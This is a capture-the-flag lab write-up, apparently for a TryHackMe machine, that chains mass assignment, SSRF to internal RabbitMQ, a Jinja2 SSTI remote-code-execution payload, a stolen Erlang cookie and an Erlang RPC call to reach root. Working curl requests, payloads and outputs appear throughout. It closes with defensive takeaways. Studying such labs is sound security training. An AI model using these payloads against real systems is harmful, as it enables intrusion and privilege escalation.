Overview
A storage web app with a deep attack chain: mass assignment bypasses account activation,
SSRF discovers internal RabbitMQ, a hidden chatbot endpoint is vulnerable to Jinja2 SSTI
giving RCE as azrael, then the Erlang cookie enables RPC into the RabbitMQ
node to extract the root user’s password hash — whose SHA-256 hex representation
is the Linux root password.
Mass Assignment (subscription=active) → bypass activation
↓
SSRF via /api/store-url → RabbitMQ on port 15672 discovered
↓
Hidden endpoint /api/fetch_messeges_from_chatbot
↓
Jinja2 SSTI → RCE as azrael → user.txt
↓
Erlang cookie stolen → RPC to rabbit@forge
↓
lookup_user("root") → SHA-256 hash bytes
↓
Hash hex = Linux root password → su root → root.txtPort Scan & Virtual Hosts
| Port | Service | Version | Notes |
|---|---|---|---|
22/tcp | SSH | OpenSSH 8.9p1 | Standard |
80/tcp | HTTP | Apache 2.4.52 | Proxies to Node.js storage app |
4369/tcp | EPMD | Erlang Port Mapper | Erlang distribution — RabbitMQ |
25672/tcp | AMQP | RabbitMQ inter-node | Erlang RPC target |
Mass Assignment → Active Subscription
The POST /api/register endpoint blindly accepts a subscription
field. Setting it to "active" bypasses the normal activation flow.
$ curl -s -X POST http://storage.cloudsite.thm/api/register \ -H "Content-Type: application/json" \ -d '{"email":"attacker@pwn.com","password":"pass123","subscription":"active"}' $ curl -s -X POST http://storage.cloudsite.thm/api/login \ -H "Content-Type: application/json" \ -d '{"email":"attacker@pwn.com","password":"pass123"}' → "active" — JWT cookie with subscription:"active"
Internal Service Discovery via /api/store-url
The active dashboard exposes POST /api/store-url which fetches arbitrary
URLs server-side. Pointing it at http://localhost:15672/ confirms RabbitMQ
management is running internally. Fetching http://localhost:3000/api/docs
reveals a hidden chatbot endpoint.
$ curl -s -X POST http://storage.cloudsite.thm/api/store-url \ -H "Cookie: jwt=<ACTIVE_JWT>" \ -d '{"url":"http://localhost:15672/"}' → RabbitMQ Management HTML $ curl -s -X POST http://storage.cloudsite.thm/api/store-url \ -d '{"url":"http://localhost:3000/api/docs"}' → Hidden endpoint: POST /api/fetch_messeges_from_chatbot
Jinja2 SSTI → Shell as azrael
The chatbot endpoint forwards the username field to a Flask service (port 8000)
that renders it directly into a Jinja2 template — classic SSTI.
# Confirm SSTI payload = {"username": "{{7*7}}"} → "Sorry, 49, our chatbot server is currently under development." # RCE payload = {"username": "{{cycler.__init__.__globals__.os.popen('id').read()}}"} → "Sorry, uid=1000(azrael) gid=1000(azrael)..., our chatbot..." # User flag rce("cat /home/azrael/user.txt") → 98d3a30fa86523c580144d317be0c47e
Erlang Cookie → RabbitMQ RPC
$ cat /var/lib/rabbitmq/.erlang.cookie cPwAQvXGd4r5n0Xn
The Erlang cookie authenticates to the rabbit@forge distribution node.
Using erl with -setcookie, we make an RPC call to extract
the RabbitMQ internal root user record:
R = rpc:call(rabbit@forge, rabbit_auth_backend_internal,
lookup_user, [<<"root">>]),
file:write_file("/tmp/erl_out.txt", io_lib:format("~p~n", [R])),
halt().
→ {ok, {internal_user, <<"root">>,
<<227,215,186,133, % 4-byte salt
41,93,29,22,162,97,125,246,247,230,99,5,
39,255,47,30,187,92,67,179,246,236,97,72,
17,237,25,79,152,7,53,133>>, % 32-byte SHA-256
[administrator], rabbit_password_hashing_sha256}}SHA-256 Hash = Linux Root Password
A hint in the RabbitMQ database reveals that the Linux root password is the SHA-256 hex representation of the stored hash bytes (skipping the 4-byte salt):
hash_bytes = bytes([41,93,29,22,162,97,125,246,247,230,99,5,39,255,47,30,
187,92,67,179,246,236,97,72,17,237,25,79,152,7,53,133])
linux_root_password = hash_bytes.hex()
→ 295d1d16a2617df6f7e6630527ff2f1ebb5c43b3f6ec614811ed194f98073585$ ssh -i key azrael@10.112.185.184 $ echo "295d1d16...73585" | su root -c "cat /root/root.txt" eabf7a0b05d3f2028f3e0465d2fd0852
Attack Chain
subscription=active bypasses account activation/api/store-url → RabbitMQ on 15672 + hidden chatbot endpoint{{cycler.__init__.__globals__.os.popen(...)}} → azrael → user.txt.erlang.cookie → rabbit@forge → lookup_user("root")su root → root.txtVulnerabilities
| Finding | Location | Severity | Impact |
|---|---|---|---|
| Mass Assignment | POST /api/register | High | Bypass account activation, gain active subscription |
| SSRF | POST /api/store-url | High | Internal service discovery (RabbitMQ, API docs) |
| Jinja2 SSTI → RCE | /api/fetch_messeges_from_chatbot | Critical | Remote code execution as azrael |
| Erlang cookie world-readable | /var/lib/rabbitmq/.erlang.cookie | Critical | Full RPC access to RabbitMQ node |
| Credential reuse (hash = password) | RabbitMQ internal DB | Critical | SHA-256 hex used as Linux root password |
Takeaways
subscription, role, isAdmin.localhost, 127.0.0.1, and internal RFC1918 ranges. Use an allowlist of external domains..erlang.cookie grants full RPC access to the cluster. Restrict permissions to the RabbitMQ service account only (chmod 400).Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl / requests | Mass assignment, SSRF, SSTI exploitation |
erl | Erlang RPC to RabbitMQ node |
ssh / ssh-keygen | SSH key injection and access |
rabbit_store_auto.py | Full automated exploit chain (Python) |